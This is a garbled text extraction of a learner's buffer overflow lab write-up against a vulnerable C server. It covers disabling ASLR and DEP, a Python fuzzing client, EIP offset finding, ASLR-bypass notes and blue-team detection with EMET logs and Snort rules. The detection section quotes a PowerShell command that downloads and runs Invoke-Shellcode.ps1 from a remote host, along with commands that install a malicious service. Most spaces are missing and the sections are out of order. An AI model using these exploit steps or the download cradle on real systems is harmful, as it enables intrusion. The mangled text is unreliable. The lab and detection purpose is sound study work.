httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

